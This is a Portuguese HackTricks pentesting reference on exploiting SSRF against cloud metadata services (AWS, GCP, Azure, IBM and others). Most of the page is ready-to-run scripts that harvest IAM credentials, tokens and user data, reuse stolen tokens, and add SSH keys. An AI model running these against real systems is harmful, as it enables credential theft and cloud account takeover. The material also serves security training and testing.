# Cloud SSRF {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## AWS ### Abusando de SSRF no ambiente AWS EC2 **O endpoint de metadados** pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na URL: `http://169.254.169.254` ([informações sobre os metadados aqui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via **requisições GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma **requisição PUT** com um **cabeçalho HTTP** e então usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF). {% hint style="danger" %} Note que se a instância EC2 estiver forçando o IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da requisição PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2. Além disso, **IMDSv2** também **bloqueará requisições para buscar um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados consigam acessá-lo. {% endhint %} Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` Como um **exemplo exposto de credenciais IAM disponíveis publicamente**, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Você também pode verificar **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que o papel tenha permissão** para fazer. Para aproveitar as novas credenciais, você precisará criar um novo perfil AWS como este: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Note que o **aws\_session\_token** é indispensável para o perfil funcionar. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios. ### SSRF em credenciais do AWS ECS (Container Service) **ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**. Se você acessar _**http://169.254.170.2/v2/credentials/\**_, você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \**. Para encontrar o \, você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\ Você pode ser capaz de lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\ O endereço http mencionado deve fornecer a **AccessKey, SecretKey e token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} Note que em **alguns casos** você poderá acessar os **metadados da instância EC2** a partir do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você poderia acessar tanto o papel IAM do contêiner quanto o papel IAM da EC2. {% endhint %} ### SSRF para AWS Lambda Neste caso, as **credenciais estão armazenadas em variáveis de ambiente**. Portanto, para acessá-las, você precisa acessar algo como **`file:///proc/self/environ`**. O **nome** das **variáveis de ambiente interessantes** são: * `AWS_SESSION_TOKEN` * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis via SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. {% hint style="warning" %} Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **stack trace** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo. {% endhint %} ### SSRF URL para AWS Elastic Beanstalk Nós recuperamos o `accountId` e a `region` da API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Em seguida, recuperamos o `AccessKeyId`, `SecretAccessKey` e `Token` da API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL) Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### URL SSRF para Google Cloud Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs: * http://169.254.169.254 * http://metadata.google.internal * http://metadata Endpoints interessantes para extrair informações: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` {% hint style="danger" %} Para **usar o token da conta de serviço exfiltrado** você pode simplesmente fazer: ```bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= gcloud projects list # Via setup echo "" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file ``` {% endhint %} ### Adicionar uma chave SSH Extrair o token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Verifique o escopo do token (com a saída anterior ou executando o seguinte) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Agora empurre a chave SSH. {% code overflow="wrap" %} ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` {% endcode %} ### Funções em Nuvem O endpoint de metadados funciona da mesma forma que em VMs, mas sem alguns endpoints: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean {% hint style="warning" %} Não existem coisas como AWS Roles ou contas de serviço GCP, então não espere encontrar credenciais de bot de metadados {% endhint %} Documentação disponível em [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). * **Deve** conter o cabeçalho `Metadata: true` * Não **deve** conter um cabeçalho `X-Forwarded-For` {% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {% endcode %} {% endtab %} {% tab title="PS" %} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) # Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {% endtab %} {% endtabs %} ### Azure App Service A partir do **env**, você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Que você pode usar para obter um token para se comunicar com o servidor de metadados. Na maioria das vezes, você quer um token para um desses recursos: * [https://storage.azure.com](https://storage.azure.com/) * [https://vault.azure.net](https://vault.azure.net/) * [https://graph.microsoft.com](https://graph.microsoft.com/) * [https://management.azure.com](https://management.azure.com/) ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # You should also be able to find the folder: ls /opt/microsoft #and the file ls /opt/microsoft/msodbcsql17 # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # API # Get Subscriptions URL="https://management.azure.com/subscriptions?api-version=2020-01-01" curl -H "Authorization: $TOKEN" "$URL" # Get current permission on resources in the subscription URL="https://management.azure.com/subscriptions//resources?api-version=2020-10-01'" curl -H "Authorization: $TOKEN" "$URL" # Get permissions in a VM URL="https://management.azure.com/subscriptions//resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines//providers/Microsoft.Authorization/permissions?api-version=2015-07-01" curl -H "Authorization: $TOKEN" "$URL" ``` ```powershell # API request in powershell to management endpoint $Token = 'eyJ0eX..' $URI='https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # API request to graph endpoint (get enterprise applications) $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # Using AzureAD Powershell module witho both management and graph tokens $token = 'eyJ0e..' $graphaccesstoken = 'eyJ0eX..' Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc # Try to get current perms over resources Get-AzResource ## The following error means that the user doesn't have permissions over any resource Get-AzResource : 'this.Client.SubscriptionId' cannot be null. At line:1 char:1 + Get-AzResource + ~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException + FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet ``` ## IBM Cloud {% hint style="warning" %} Observe que no IBM, por padrão, os metadados não estão habilitados, então é possível que você não consiga acessá-los mesmo estando dentro de uma VM da IBM cloud. {% endhint %} {% code overflow="wrap" %} ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` {% endcode %} A documentação para os serviços de metadados de várias plataformas está descrita abaixo, destacando os métodos pelos quais informações de configuração e tempo de execução para instâncias podem ser acessadas. Cada plataforma oferece endpoints únicos para acessar seus serviços de metadados. ## Packetcloud Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace A necessidade de um cabeçalho não é mencionada. Os metadados podem ser acessados através de: * `http://169.254.169.254/openstack` ## HP Helion A necessidade de um cabeçalho também não é mencionada aqui. Os metadados estão acessíveis em: * `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud O Oracle Cloud fornece uma série de endpoints para acessar vários aspectos de metadados: * `http://192.0.0.192/latest/` * `http://192.0.0.192/latest/user-data/` * `http://192.0.0.192/latest/meta-data/` * `http://192.0.0.192/latest/attributes/` ## Alibaba O Alibaba oferece endpoints para acessar metadados, incluindo IDs de instância e imagem: * `http://100.100.100.200/latest/meta-data/` * `http://100.100.100.200/latest/meta-data/instance-id` * `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD O Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas. O acesso é demonstrado através de: * `curl -L http://127.0.0.1:2379/version` * `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Os metadados do Docker podem ser acessados localmente, com exemplos dados para recuperação de informações de contêiner e imagem: * Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker: * `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` * Dentro do contêiner, use curl com o socket do Docker: * `curl --unix-socket /var/run/docker.sock http://foo/containers/json` * `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Os metadados do Rancher podem ser acessados usando: * `curl http://rancher-metadata//` **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}